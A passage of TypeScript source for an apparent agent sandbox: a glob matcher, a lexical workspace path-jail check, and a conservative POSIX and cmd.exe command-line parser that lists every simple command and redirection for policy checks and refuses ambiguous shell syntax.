{\n // `**` — match across segments (and an optional trailing slash).\n source += \".*\";\n index++;\n\n if (glob.charAt(index + 1) === \"/\") {\n index++;\n }\n } else {\n // `*` — match within a single segment.\n source += \"[^/]*\";\n }\n\n continue;\n }\n\n if (char === \"?\") {\n source += \"[^/]\";\n\n continue;\n }\n\n // Escape everything else so it matches literally.\n source += char.replace(/[.+^${}()|[\\]\\\\]/g, \"\\\\$&\");\n }\n\n return new RegExp(`^${source}$`);\n}\n\n/**\n * Whether a workspace-relative (`/`-separated) path matches any of the\n * globs. A glob also covers everything beneath a matched directory\n * (`\".git/**\"` covers `.git/config`), and a bare name without wildcards\n * (`\".git\"`, `\"node_modules\"`) covers its contents.\n */\nexport function matchesAnyGlob(relativePath: string, globs: readonly string[]): boolean {\n return globs.some((glob) => {\n if (globToRegExp(glob).test(relativePath)) {\n return true;\n }\n\n if (!glob.includes(\"*\") && !glob.includes(\"?\")) {\n const prefix = glob.endsWith(\"/\") ? glob : `${glob}/`;\n\n return relativePath.startsWith(prefix);\n }\n\n return false;\n });\n}\n\n/**\n * The jail check without touching the filesystem: is the absolute path\n * `target` (already resolved lexically) inside `cwd` and off every\n * `denyPaths` glob, or inside an `allowPaths` root? Symlinks are NOT\n * resolved here — the shell policy uses it to refuse obvious escapes\n * synchronously, and `exec` re-checks every path with `resolveInJail`.\n */\nexport function isInsideJailLexically(policy: WorkspacePolicy, target: string): boolean {\n const root = path.resolve(policy.cwd);\n\n if (isInside(target, root)) {\n const relative = path.relative(root, target).split(path.sep).join(\"/\");\n\n return !(\n policy.denyPaths &&\n policy.denyPaths.length > 0 &&\n matchesAnyGlob(relative, policy.denyPaths)\n );\n }\n\n return (policy.allowPaths ?? []).some((allowRoot) => isInside(target, path.resolve(allowRoot)));\n}\n","/**\n * A deliberately conservative parser for the command lines `run_shell`\n * hands to a shell when the policy opts in to `interpreter: \"sh\"`.\n *\n * Its only job is to find **every simple command** a line would run — so\n * the policy can check each one — plus every redirection target. It is not\n * a shell: it never expands anything. What it cannot read with confidence\n * it refuses, because a construct the parser misreads is a construct a\n * denied command can hide in. `/bin/sh` is bash on some systems, dash or\n * busybox ash on others, so constructs that those shells read differently\n * (bash-only syntax such as `<<<`, `&>`, `$'…'`, brace expansion, `[[`,\n * arithmetic) are refused as well.\n *\n * Two dialects:\n * - `\"posix\"` — what `/bin/sh -c` reads: `;`, `&&`, `||`, `|`, `&`,\n * newlines, comments, `( … )` subshells, `$( … )` and backtick command\n * substitution (parsed recursively), `$name` / `${name…}` parameter\n * expansion (a restricted set of forms), single and double quotes,\n * backslash escapes, redirections and here-documents.\n * - `\"cmd\"` — what `cmd.exe /d /v:off /s /c` reads, restricted to the\n * subset whose meaning is unambiguous: `&&`, `||`, `|`, `&` (sequential\n * in cmd), double quotes and simple redirections. `%`, `!`, `^`,\n * parentheses, `;` and `,` are refused.\n */\n\n/** Which shell grammar to parse. */\nexport type ShellDialect = \"posix\" | \"cmd\";\n\n/** One word of a simple command, after quote removal. */\nexport interface ShellWord {\n /** The word exactly as written. */\n raw: string;\n /**\n * The word's text after quote removal and escapes. Expansions\n * (`$HOME`, `$(…)`, backticks) are kept as their source text — their real\n * value is only known when the shell runs.\n */\n value: string;\n /**\n * True when the shell decides part of the word at run time: a parameter\n * expansion, a command substitution, an unquoted glob character\n * (`*`, `?`, `[`) or a leading `~`.\n */\n dynamic: boolean;\n /** True when any part of the word was quoted or escaped. */\n quoted: boolean;\n /** For a `NAME=value` assignment word, the variable name. */\n assignmentName?: string;\n}\n\n/** A redirection attached to a simple command (or a subshell). */\nexport interface ShellRedirect {\n /** The operator: `>`, `>>`, `>|`, `<`, `<>`, `>&`, `<&`, `<<` or `<<-`. */\n op: string;\n /** Explicit file descriptor (`2>`), when written. */\n fd?: number;\n /** The target word (file, descriptor number or here-doc delimiter). */\n target: ShellWord;\n /**\n * `\"read\"` / `\"write\"` — a file target; `\"dup\"` — a descriptor copy or\n * close (`2>&1`, `>&-`); `\"heredoc\"` — inline input.\n */\n type: \"read\" | \"write\" | \"dup\" | \"heredoc\";\n}\n\n/** A simple command: assignments, words and redirections. */\nexport interface ShellSimpleCommand {\n /** Leading `NAME=value` words. */\n assignments: ShellWord[];\n /** The command's words — `words[0]` is the command name. Empty for a redirect- or assignment-only command. */\n words: ShellWord[];\n /** Redirections, in order. */\n redirects: ShellRedirect[];\n /** The command's source text (for messages). */\n source: string;\n}\n\n/** A top-level piece of the line and the operator that follows it. */\nexport interface ShellSegment {\n /** Source text of the pipeline. */\n source: string;\n /** The list operator after it (`&&`, `||`, `;`, `&`, a newline), if any. */\n operator?: string;\n}\n\n/** Outcome of {@link parseShellLine}. */\nexport type ShellParseResult =\n | {\n ok: true;\n /** Every simple command, in the order the shell meets them (substitutions first). */\n commands: ShellSimpleCommand[];\n /** The top-level pipelines and the operators joining them. */\n segments: ShellSegment[];\n /** True when the line backgrounds anything with `&` (POSIX dialect). */\n background: boolean;\n }\n | {\n ok: false;\n /** Why the line was refused. */\n reason: \"unbalanced-quotes\" | \"unsupported-syntax\";\n /** What was refused and why, for the model. */\n message: string;\n };\n\n/** Deepest nesting of subshells and substitutions the parser accepts. */\nconst MAX_NESTING = 16;\n\n/**\n * Words that start a compound command (or negate a pipeline) when they\n * appear unquoted in command position. The parser does not read compound\n * commands, so a line using one is refused.\n */\nconst RESERVED_WORDS = new Set([\n \"!\",\n \"{\",\n \"}\",\n \"[[\",\n \"]]\",\n \"case\",\n \"coproc\",\n \"do\",\n \"done\",\n \"elif\",\n \"else\",\n \"esac\",\n \"fi\",\n \"for\",\n \"function\",\n \"if\",\n \"in\",\n \"select\",\n \"then\",\n \"until\",\n \"while\",\n]);\n\n/** cmd.exe keywords the `\"cmd\"` dialect refuses in command position. */\nconst CMD_RESERVED_WORDS = new Set([\"if\", \"for\", \"goto\", \"setlocal\", \"endlocal\"]);\n\n/** A parameter name inside `${…}`: a variable, a positional or a special parameter. */\nconst PARAMETER_NAME = String.raw`(?:[A-Za-z_][A-Za-z0-9_]*|[0-9]+|[@*#?$!-])`;\n\n/**\n * The default/pattern word of `${name:-word}` / `${name%word}`: no quotes,\n * no nested expansion or substitution, no braces or parentheses, no `@`.\n */\nconst PARAMETER_WORD = \"[^`$'\\\"\\\\\\\\{}()@\\\\n]*\";\n\n/**\n * Allowed `${…}` forms: `${name}`, `${#name}`, `${name-word}`,\n * `${name:-word}` (also `=`, `+`, `?`), `${name%word}`, `${name%%word}`,\n * `${name#word}`, `${name##word}`. Everything else — substrings and\n * subscripts (arithmetic in bash), `${!name}`, `${name@op}`, pattern\n * substitution — is refused.\n */\nconst PARAMETER_EXPANSION = new RegExp(\n `^(?:#${PARAMETER_NAME}|${PARAMETER_NAME}(?:(?::?[-=+?]|%%?|##?)${PARAMETER_WORD})?)$`,\n);\n\n/** A refusal raised while parsing; caught by {@link parseShellLine}. */\nclass ShellSyntaxRefusal extends Error {\n public constructor(\n public readonly reason: \"unbalanced-quotes\" | \"unsupported-syntax\",\n message: string,\n ) {\n super(message);\n }\n}\n\n/** Refuse a construct the parser does not read with confidence. */\nfunction unsupported(message: string): ShellSyntaxRefusal {\n return new ShellSyntaxRefusal(\"unsupported-syntax\", message);\n}\n\n/** Refuse an unterminated quote / substitution. */\nfunction unbalanced(message: string): ShellSyntaxRefusal {\n return new ShellSyntaxRefusal(\"unbalanced-quotes\", message);\n}\n\n/** State shared by a parser and the nested parsers it starts (backticks, here-docs). */\ninterface SharedState {\n commands: ShellSimpleCommand[];\n background: boolean;\n nesting: number;\n}\n\n/** A here-document whose body starts after the next newline. */\ninterface PendingHeredoc {\n delimiter: string;\n stripTabs: boolean;\n expand: boolean;\n}\n\n/** Parser for the POSIX `sh` dialect. */\nclass PosixParser {\n private pos = 0;\n\n private pendingHeredocs: PendingHeredoc[] = [];\n\n public constructor(\n private readonly src: string,\n private readonly state: SharedState,\n ) {}\n\n /** Parse the whole line as a command list. */\n public parseProgram(segments: ShellSegment[]): void {\n this.parseList(null, segments);\n this.assertNoPendingHeredocs();\n }\n\n /** Parse the contents of a backtick substitution (a full list until EOF). */\n public parseNestedProgram(): void {\n this.parseList(null, undefined);\n this.assertNoPendingHeredocs();\n }\n\n /**\n * Scan an unquoted-delimiter here-document body: `$…`, `${…}`, `$(…)` and\n * backticks expand there exactly as inside double quotes (but `\"` is an\n * ordinary character), so any command substitution in it runs.\n */\n public parseExpandingText(): void {\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (char === \"\\\\\") {\n this.pos += 2;\n\n continue;\n }\n\n if (char === \"$\") {\n this.parseDollar(\"heredoc\");\n\n continue;\n }\n\n if (char === \"`\") {\n this.parseBackticks(false);\n\n continue;\n }\n\n this.pos++;\n }\n }\n\n private atEnd(): boolean {\n return this.pos >= this.src.length;\n }\n\n private peek(offset = 0): string {\n return this.src.charAt(this.pos + offset);\n }\n\n private assertNoPendingHeredocs(): void {\n if (this.pendingHeredocs.length > 0) {\n throw unsupported(\n `The here-document delimited by \\`${this.pendingHeredocs[0]?.delimiter ?? \"\"}\\` is never terminated.`,\n );\n }\n }\n\n private enterNesting(): void {\n this.state.nesting++;\n\n if (this.state.nesting > MAX_NESTING) {\n throw unsupported(\"The line nests subshells or substitutions too deeply.\");\n }\n }\n\n private exitNesting(): void {\n this.state.nesting--;\n }\n\n /** Skip spaces, tabs and backslash-newline continuations. */\n private skipBlanks(): void {\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (char === \" \" || char === \"\\t\") {\n this.pos++;\n\n continue;\n }\n\n if (char === \"\\\\\" && this.peek(1) === \"\\n\") {\n this.pos += 2;\n\n continue;\n }\n\n break;\n }\n }\n\n /** Skip a `#` comment up to (not including) the newline. */\n private skipComment(): void {\n const newline = this.src.indexOf(\"\\n\", this.pos);\n\n this.pos = newline === -1 ? this.src.length : newline;\n }\n\n /** Consume one newline and read any here-document bodies queued before it. */\n private consumeNewline(): void {\n this.pos++;\n\n if (this.pendingHeredocs.length === 0) {\n return;\n }\n\n if (this.state.nesting > 0) {\n throw unsupported(\"Here-documents inside subshells or substitutions are not supported.\");\n }\n\n const pending = this.pendingHeredocs;\n\n this.pendingHeredocs = [];\n\n for (const heredoc of pending) {\n this.readHeredocBody(heredoc);\n }\n }\n\n /** Skip blanks, comments and newlines (separators between commands). */\n private skipBlanksAndNewlines(): void {\n while (!this.atEnd()) {\n this.skipBlanks();\n\n if (this.peek() === \"#\") {\n this.skipComment();\n\n continue;\n }\n\n if (this.peek() === \"\\n\") {\n this.consumeNewline();\n\n continue;\n }\n\n break;\n }\n }\n\n private readHeredocBody(heredoc: PendingHeredoc): void {\n const bodyLines: string[] = [];\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw unsupported(\n `The here-document delimited by \\`${heredoc.delimiter}\\` is never terminated.`,\n );\n }\n\n const lineEnd = this.src.indexOf(\"\\n\", this.pos);\n const line = lineEnd === -1 ? this.src.slice(this.pos) : this.src.slice(this.pos, lineEnd);\n const compared = heredoc.stripTabs ? line.replace(/^\\t+/, \"\") : line;\n\n this.pos = lineEnd === -1 ? this.src.length : lineEnd + 1;\n\n if (compared === heredoc.delimiter) {\n break;\n }\n\n bodyLines.push(compared);\n }\n\n if (heredoc.expand) {\n new PosixParser(bodyLines.join(\"\\n\"), this.state).parseExpandingText();\n }\n }\n\n /**\n * Parse a command list until `closing` (`\")\"`) or the end of the input.\n * `segments`, when given, collects the top-level pipelines.\n */\n private parseList(closing: string | null, segments: ShellSegment[] | undefined): void {\n let sawCommand = false;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanksAndNewlines();\n\n if (this.atEnd()) {\n if (closing !== null) {\n throw unbalanced(`A \\`(\\` or \\`$(\\` is never closed with \\`${closing}\\`.`);\n }\n\n break;\n }\n\n if (closing !== null && this.peek() === closing) {\n break;\n }\n\n const start = this.pos;\n\n this.parsePipeline(closing);\n\n const end = this.pos;\n\n sawCommand = true;\n this.skipBlanks();\n\n if (this.peek() === \"#\") {\n this.skipComment();\n }\n\n const operator = this.readListOperator();\n\n segments?.push({\n source: this.src.slice(start, end).trim(),\n ...(operator !== null ? { operator } : {}),\n });\n\n if (operator === \"&&\" || operator === \"||\") {\n this.skipBlanksAndNewlines();\n\n if (this.atEnd() || (closing !== null && this.peek() === closing)) {\n throw unsupported(`The line ends with \\`${operator}\\` but no command follows it.`);\n }\n\n continue;\n }\n\n if (operator === \"&\") {\n this.state.background = true;\n }\n\n if (operator === null) {\n if (this.atEnd() || (closing !== null && this.peek() === closing)) {\n break;\n }\n\n throw unsupported(`Unexpected \\`${this.peek()}\\`.`);\n }\n }\n\n if (!sawCommand) {\n throw unsupported(closing === null ? \"The command is empty.\" : \"A `( )` or `$( )` is empty.\");\n }\n }\n\n /** Read `&&`, `||`, `;`, `&` or a newline after a pipeline. */\n private readListOperator(): string | null {\n const char = this.peek();\n const next = this.peek(1);\n\n if (char === \"&\") {\n if (next === \"&\") {\n this.pos += 2;\n\n return \"&&\";\n }\n\n if (next === \">\") {\n throw unsupported(\n \"`&>` (redirect both streams) is not portable; write `> file 2>&1` instead.\",\n );\n }\n\n this.pos++;\n\n return \"&\";\n }\n\n if (char === \"|\" && next === \"|\") {\n this.pos += 2;\n\n return \"||\";\n }\n\n if (char === \";\") {\n if (next === \";\") {\n throw unsupported(\"`;;` (a `case` clause) is not supported.\");\n }\n\n this.pos++;\n\n return \";\";\n }\n\n if (char === \"\\n\") {\n this.consumeNewline();\n\n return \"\\n\";\n }\n\n return null;\n }\n\n private parsePipeline(closing: string | null): void {\n this.parseCommand(closing);\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.peek() !== \"|\" || this.peek(1) === \"|\") {\n return;\n }\n\n if (this.peek(1) === \"&\") {\n throw unsupported(\"`|&` is not portable; write `2>&1 |` instead.\");\n }\n\n this.pos++;\n this.skipBlanksAndNewlines();\n\n if (this.atEnd() || (closing !== null && this.peek() === closing)) {\n throw unsupported(\"The line ends with `|` but no command follows it.\");\n }\n\n this.parseCommand(closing);\n }\n }\n\n private parseCommand(closing: string | null): void {\n this.skipBlanks();\n\n if (this.peek() === \"(\") {\n if (this.peek(1) === \"(\") {\n throw unsupported(\"`((…))` (arithmetic) is not supported.\");\n }\n\n this.parseSubshell();\n\n return;\n }\n\n if (this.peek() === \")\") {\n throw unsupported(closing === null ? \"Unexpected `)`.\" : \"A `( )` or `$( )` is empty.\");\n }\n\n this.parseSimpleCommand();\n }\n\n private parseSubshell(): void {\n const start = this.pos;\n\n this.pos++;\n this.enterNesting();\n this.parseList(\")\", undefined);\n\n if (this.peek() !== \")\") {\n throw unbalanced(\"A `(` is never closed with `)`.\");\n }\n\n this.pos++;\n this.exitNesting();\n\n // Redirections may follow the closing parenthesis; nothing else may.\n const redirects: ShellRedirect[] = [];\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (!this.atRedirectStart()) {\n break;\n }\n\n redirects.push(this.parseRedirect());\n }\n\n if (redirects.length > 0) {\n this.state.commands.push({\n assignments: [],\n words: [],\n redirects,\n source: this.src.slice(start, this.pos).trim(),\n });\n }\n\n if (!this.atEnd() && !this.atOperatorBoundary()) {\n throw unsupported(\"Only an operator or a redirection may follow `)`.\");\n }\n }\n\n /** Whether the next character ends a simple command. */\n private atOperatorBoundary(): boolean {\n const char = this.peek();\n\n return (\n char === \"\\n\" ||\n char === \";\" ||\n char === \"&\" ||\n char === \"|\" ||\n char === \")\" ||\n char === \"#\" ||\n char === \" \" ||\n char === \"\\t\"\n );\n }\n\n /** Whether a redirection starts here (`>`, `<`, or digits glued to one). */\n private atRedirectStart(): boolean {\n let index = this.pos;\n\n while (index < this.src.length && /[0-9]/.test(this.src.charAt(index))) {\n index++;\n }\n\n const char = this.src.charAt(index);\n\n return char === \"<\" || char === \">\";\n }\n\n private parseSimpleCommand(): void {\n const start = this.pos;\n const command: ShellSimpleCommand = { assignments: [], words: [], redirects: [], source: \"\" };\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd()) {\n break;\n }\n\n const char = this.peek();\n\n if (char === \"\\n\" || char === \";\" || char === \"&\" || char === \"|\" || char === \")\") {\n break;\n }\n\n if (char === \"(\") {\n throw unsupported(\n \"`(` is only supported at the start of a command (a subshell); quote it to pass it as text.\",\n );\n }\n\n if (char === \"#\") {\n this.skipComment();\n\n break;\n }\n\n if (this.atRedirectStart()) {\n command.redirects.push(this.parseRedirect());\n\n continue;\n }\n\n const word = this.parseWord();\n\n if (command.words.length === 0 && word.assignmentName !== undefined) {\n command.assignments.push(word);\n\n continue;\n }\n\n command.words.push(word);\n\n if (command.words.length === 1 && !word.quoted && RESERVED_WORDS.has(word.value)) {\n throw unsupported(\n `\\`${word.value}\\` starts a shell compound command, which is not supported; run the commands one at a time.`,\n );\n }\n }\n\n if (\n command.words.length === 0 &&\n command.assignments.length === 0 &&\n command.redirects.length === 0\n ) {\n throw unsupported(\"The line has an empty command (two operators in a row?).\");\n }\n\n command.source = this.src.slice(start, this.pos).trim();\n this.state.commands.push(command);\n }\n\n private parseRedirect(): ShellRedirect {\n let digits = \"\";\n\n while (/[0-9]/.test(this.peek())) {\n digits += this.peek();\n this.pos++;\n }\n\n const rest = this.src.slice(this.pos, this.pos + 3);\n let op: string;\n\n if (rest.startsWith(\"<<<\")) {\n throw unsupported(\"`<<<` (a here-string) is not portable; use a here-document.\");\n } else if (rest.startsWith(\"<<-\")) {\n op = \"<<-\";\n } else if (rest.startsWith(\"<<\")) {\n op = \"<<\";\n } else if (rest.startsWith(\"<>\")) {\n op = \"<>\";\n } else if (rest.startsWith(\"<&\")) {\n op = \"<&\";\n } else if (rest.startsWith(\"<(\") || rest.startsWith(\">(\")) {\n throw unsupported(\"Process substitution (`<(…)`, `>(…)`) is not supported.\");\n } else if (rest.startsWith(\">>\")) {\n op = \">>\";\n } else if (rest.startsWith(\">|\")) {\n op = \">|\";\n } else if (rest.startsWith(\">&\")) {\n op = \">&\";\n } else {\n op = this.peek();\n }\n\n this.pos += op.length;\n\n const fd = digits === \"\" ? undefined : Number(digits);\n\n this.skipBlanks();\n\n if (this.atEnd() || /[\\n;&|<>()]/.test(this.peek())) {\n throw unsupported(`The redirection \\`${op}\\` has no target.`);\n }\n\n const target = this.parseWord();\n\n if (op === \"<<\" || op === \"<<-\") {\n if (this.state.nesting > 0) {\n throw unsupported(\"Here-documents inside subshells or substitutions are not supported.\");\n }\n\n if (target.dynamic) {\n throw unsupported(\"A here-document delimiter must be literal text.\");\n }\n\n this.pendingHeredocs.push({\n delimiter: target.value,\n stripTabs: op === \"<<-\",\n expand: !target.quoted,\n });\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"heredoc\" };\n }\n\n if (op === \">&\" || op === \"<&\") {\n if (target.dynamic || !/^(?:[0-9]+|-)$/.test(target.value)) {\n throw unsupported(\n `\\`${op}${target.raw}\\` is not portable; write \\`> file 2>&1\\` to send both streams to a file.`,\n );\n }\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"dup\" };\n }\n\n return {\n op,\n ...(fd !== undefined ? { fd } : {}),\n target,\n type: op === \"<\" ? \"read\" : \"write\",\n };\n }\n\n /** Parse one unquoted-context word. */\n private parseWord(): ShellWord {\n const start = this.pos;\n let value = \"\";\n let dynamic = false;\n let quoted = false;\n let braces = false;\n let nameCandidate = true;\n let assignmentName: string | undefined;\n\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (\n char === \" \" ||\n char === \"\\t\" ||\n char === \"\\n\" ||\n char === \";\" ||\n char === \"&\" ||\n char === \"|\" ||\n char === \"<\" ||\n char === \">\" ||\n char === \"(\" ||\n char === \")\"\n ) {\n break;\n }\n\n if (char === \"\\r\" || char === \"\\0\") {\n throw unsupported(\"Carriage returns and NUL bytes are not supported in a command line.\");\n }\n\n if (char === \"\\\\\") {\n const next = this.peek(1);\n\n if (next === \"\") {\n throw unsupported(\"The line ends with a backslash.\");\n }\n\n this.pos += 2;\n\n if (next !== \"\\n\") {\n value += next;\n quoted = true;\n nameCandidate = false;\n }\n\n continue;\n }\n\n if (char === \"'\") {\n const closing = this.src.indexOf(\"'\", this.pos + 1);\n\n if (closing === -1) {\n throw unbalanced(\"A `'` quote is never closed.\");\n }\n\n value += this.src.slice(this.pos + 1, closing);\n quoted = true;\n nameCandidate = false;\n this.pos = closing + 1;\n\n continue;\n }\n\n if (char === '\"') {\n const part = this.parseDoubleQuoted();\n\n value += part.value;\n dynamic = dynamic || part.dynamic;\n quoted = true;\n nameCandidate = false;\n\n continue;\n }\n\n if (char === \"$\") {\n const part = this.parseDollar(\"unquoted\");\n\n value += part.text;\n dynamic = dynamic || part.dynamic;\n nameCandidate = false;\n\n continue;\n }\n\n if (char === \"`\") {\n value += this.parseBackticks(false);\n dynamic = true;\n nameCandidate = false;\n\n continue;\n }\n\n if (char === \"=\" && nameCandidate && assignmentName === undefined) {\n if (/^[A-Za-z_][A-Za-z0-9_]*$/.test(value)) {\n assignmentName = value;\n }\n\n nameCandidate = false;\n } else if (!/[A-Za-z0-9_]/.test(char)) {\n nameCandidate = false;\n }\n\n if (char === \"*\" || char === \"?\" || char === \"[\") {\n dynamic = true;\n }\n\n if (char === \"~\") {\n const previous = this.src.charAt(this.pos - 1);\n\n if (\n this.pos === start ||\n (assignmentName !== undefined && (previous === \"=\" || previous === \":\"))\n ) {\n dynamic = true;\n }\n }\n\n if (char === \"{\" || char === \"}\") {\n braces = true;\n }\n\n value += char;\n this.pos++;\n }\n\n const raw = this.src.slice(start, this.pos);\n\n if (braces && raw !== \"{}\") {\n throw unsupported(\n `Unquoted \\`{\\` or \\`}\\` in \\`${raw}\\` (brace expansion or a command group) is not supported; quote it.`,\n );\n }\n\n // A lone `[` or `]` is never a glob (it is the `test` command or its end).\n if (raw === \"[\" || raw === \"]\") {\n dynamic = false;\n }\n\n return {\n raw,\n value,\n dynamic,\n quoted,\n ...(assignmentName !== undefined ? { assignmentName } : {}),\n };\n }\n\n /** Parse a `\"…\"` span (cursor on the opening quote). */\n private parseDoubleQuoted(): { value: string; dynamic: boolean } {\n this.pos++;\n\n let value = \"\";\n let dynamic = false;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw unbalanced('A `\"` quote is never closed.');\n }\n\n const char = this.peek();\n\n if (char === '\"') {\n this.pos++;\n\n return { value, dynamic };\n }\n\n if (char === \"\\0\") {\n throw unsupported(\"NUL bytes are not supported in a command line.\");\n }\n\n if (char === \"\\\\\") {\n const next = this.peek(1);\n\n if (next === \"\") {\n throw unbalanced('A `\"` quote is never closed.');\n }\n\n if (next === \"$\" || next === \"`\" || next === '\"' || next === \"\\\\\") {\n value += next;\n this.pos += 2;\n\n continue;\n }\n\n if (next === \"\\n\") {\n this.pos += 2;\n\n continue;\n }\n\n value += char;\n this.pos++;\n\n continue;\n }\n\n if (char === \"$\") {\n const part = this.parseDollar(\"dquote\");\n\n value += part.text;\n dynamic = dynamic || part.dynamic;\n\n continue;\n }\n\n if (char === \"`\") {\n value += this.parseBackticks(true);\n dynamic = true;\n\n continue;\n }\n\n value += char;\n this.pos++;\n }\n }\n\n /** Parse a `$…` expansion (cursor on the `$`). */\n private parseDollar(context: \"unquoted\" | \"dquote\" | \"heredoc\"): {\n text: string;\n dynamic: boolean;\n } {\n const start = this.pos;\n const next = this.peek(1);\n\n if (next === \"(\") {\n if (this.peek(2) === \"(\") {\n throw unsupported(\"`$((…))` (arithmetic expansion) is not supported.\");\n }\n\n this.pos += 2;\n this.enterNesting();\n this.parseList(\")\", undefined);\n\n if (this.peek() !== \")\") {\n throw unbalanced(\"A `$(` is never closed with `)`.\");\n }\n\n this.pos++;\n this.exitNesting();\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n if (next === \"{\") {\n const closing = this.src.indexOf(\"}\", this.pos + 2);\n\n if (closing === -1) {\n throw unbalanced(\"A `${` is never closed with `}`.\");\n }\n\n const body = this.src.slice(this.pos + 2, closing);\n\n if (!PARAMETER_EXPANSION.test(body)) {\n throw unsupported(\n `\\`\\${${body}}\\` is not a supported parameter expansion; use \\`$name\\`, \\`\\${name}\\` or \\`\\${name:-default}\\`.`,\n );\n }\n\n this.pos = closing + 1;\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n if (next === \"[\") {\n throw unsupported(\"`$[…]` (arithmetic expansion) is not supported.\");\n }\n\n if (context === \"unquoted\" && (next === \"'\" || next === '\"')) {\n throw unsupported(`\\`$${next}…${next}\\` quoting is not portable; use plain quotes.`);\n }\n\n if (/[A-Za-z_]/.test(next)) {\n this.pos += 2;\n\n while (/[A-Za-z0-9_]/.test(this.peek())) {\n this.pos++;\n }\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n if (/[0-9@*#?$!-]/.test(next) && next !== \"\") {\n this.pos += 2;\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n // A `$` followed by anything else is an ordinary character.\n this.pos++;\n\n return { text: \"$\", dynamic: false };\n }\n\n /** Parse a backtick substitution (cursor on the opening backtick); returns its source. */\n private parseBackticks(insideDoubleQuotes: boolean): string {\n const start = this.pos;\n let content = \"\";\n\n this.pos++;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw unbalanced(\"A backtick substitution is never closed.\");\n }\n\n const char = this.peek();\n\n if (char === \"`\") {\n this.pos++;\n\n break;\n }\n\n if (char === \"\\\\\") {\n const next = this.peek(1);\n\n if (next === \"\") {\n throw unbalanced(\"A backtick substitution is never closed.\");\n }\n\n if (next === \"`\" || next === \"\\\\\" || next === \"$\") {\n content += next;\n this.pos += 2;\n\n continue;\n }\n\n if (next === '\"' && insideDoubleQuotes) {\n throw unsupported(\n 'An escaped `\\\\\"` inside backticks inside double quotes is not portable; use `$(…)`.',\n );\n }\n\n content += char + next;\n this.pos += 2;\n\n continue;\n }\n\n content += char;\n this.pos++;\n }\n\n this.enterNesting();\n new PosixParser(content, this.state).parseNestedProgram();\n this.exitNesting();\n\n return this.src.slice(start, this.pos);\n }\n}\n\n/** Parser for the restricted `cmd.exe` dialect. */\nclass CmdParser {\n private pos = 0;\n\n public constructor(\n private readonly src: string,\n private readonly commands: ShellSimpleCommand[],\n ) {}\n\n public parseProgram(segments: ShellSegment[]): void {\n if (/[\\r\\n\\0]/.test(this.src)) {\n throw unsupported(\"Line breaks and NUL bytes are not supported in a cmd.exe command line.\");\n }\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd()) {\n throw unsupported(\n segments.length === 0\n ? \"The command is empty.\"\n : \"The line ends with an operator but no command follows it.\",\n );\n }\n\n const start = this.pos;\n\n this.parsePipeline();\n\n const end = this.pos;\n\n this.skipBlanks();\n\n const operator = this.readListOperator();\n\n segments.push({\n source: this.src.slice(start, end).trim(),\n ...(operator !== null ? { operator } : {}),\n });\n\n if (operator === null) {\n if (!this.atEnd()) {\n throw unsupported(`Unexpected \\`${this.peek()}\\`.`);\n }\n\n return;\n }\n }\n }\n\n private atEnd(): boolean {\n return this.pos >= this.src.length;\n }\n\n private peek(offset = 0): string {\n return this.src.charAt(this.pos + offset);\n }\n\n private skipBlanks(): void {\n while (this.peek() === \" \" || this.peek() === \"\\t\") {\n this.pos++;\n }\n }\n\n private readListOperator(): string | null {\n if (this.peek() === \"&\") {\n if (this.peek(1) === \"&\") {\n this.pos += 2;\n\n return \"&&\";\n }\n\n this.pos++;\n\n return \"&\";\n }\n\n if (this.peek() === \"|\" && this.peek(1) === \"|\") {\n this.pos += 2;\n\n return \"||\";\n }\n\n return null;\n }\n\n private parsePipeline(): void {\n this.parseSimpleCommand();\n\n while (this.peek() === \"|\" && this.peek(1) !== \"|\") {\n this.pos++;\n this.skipBlanks();\n\n if (this.atEnd()) {\n throw unsupported(\"The line ends with `|` but no command follows it.\");\n }\n\n this.parseSimpleCommand();\n }\n }\n\n private atRedirectStart(): boolean {\n const char = this.peek();\n\n if (char === \"<\" || char === \">\") {\n return true;\n }\n\n return /[0-9]/.test(char) && (this.peek(1) === \">\" || this.peek(1) === \"<\");\n }\n\n private parseSimpleCommand(): void {\n const start = this.pos;\n const command: ShellSimpleCommand = { assignments: [], words: [], redirects: [], source: \"\" };\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd() || this.peek() === \"&\" || this.peek() === \"|\") {\n break;\n }\n\n if (this.atRedirectStart()) {\n command.redirects.push(this.parseRedirect());\n\n continue;\n }\n\n const word = this.parseWord();\n\n command.words.push(word);\n\n if (command.words.length === 1) {\n this.checkCommandWord(word);\n }\n }\n\n if (command.words.length === 0 && command.redirects.length === 0) {\n throw unsupported(\"The line has an empty command (two operators in a row?).\");\n }\n\n command.source = this.src.slice(start, this.pos).trim();\n this.commands.push(command);\n }\n\n private checkCommandWord(word: ShellWord): void {\n if (word.raw.startsWith(\"@\") || word.raw.startsWith(\":\")) {\n throw unsupported(`\\`${word.raw}\\` is not supported as a cmd.exe command name.`);\n }\n\n if (/[/=]/.test(word.value)) {\n throw unsupported(\n `A cmd.exe command name may not contain \\`/\\` or \\`=\\` (\\`${word.value}\\`); use \\`\\\\\\` in paths.`,\n );\n }\n\n if (!word.quoted && CMD_RESERVED_WORDS.has(word.value.toLowerCase())) {\n throw unsupported(\n `\\`${word.value}\\` starts a cmd.exe compound command, which is not supported.`,\n );\n }\n }\n\n private parseRedirect(): ShellRedirect {\n let fd: number | undefined;\n\n if (/[0-9]/.test(this.peek())) {\n fd = Number(this.peek());\n this.pos++;\n }\n\n let 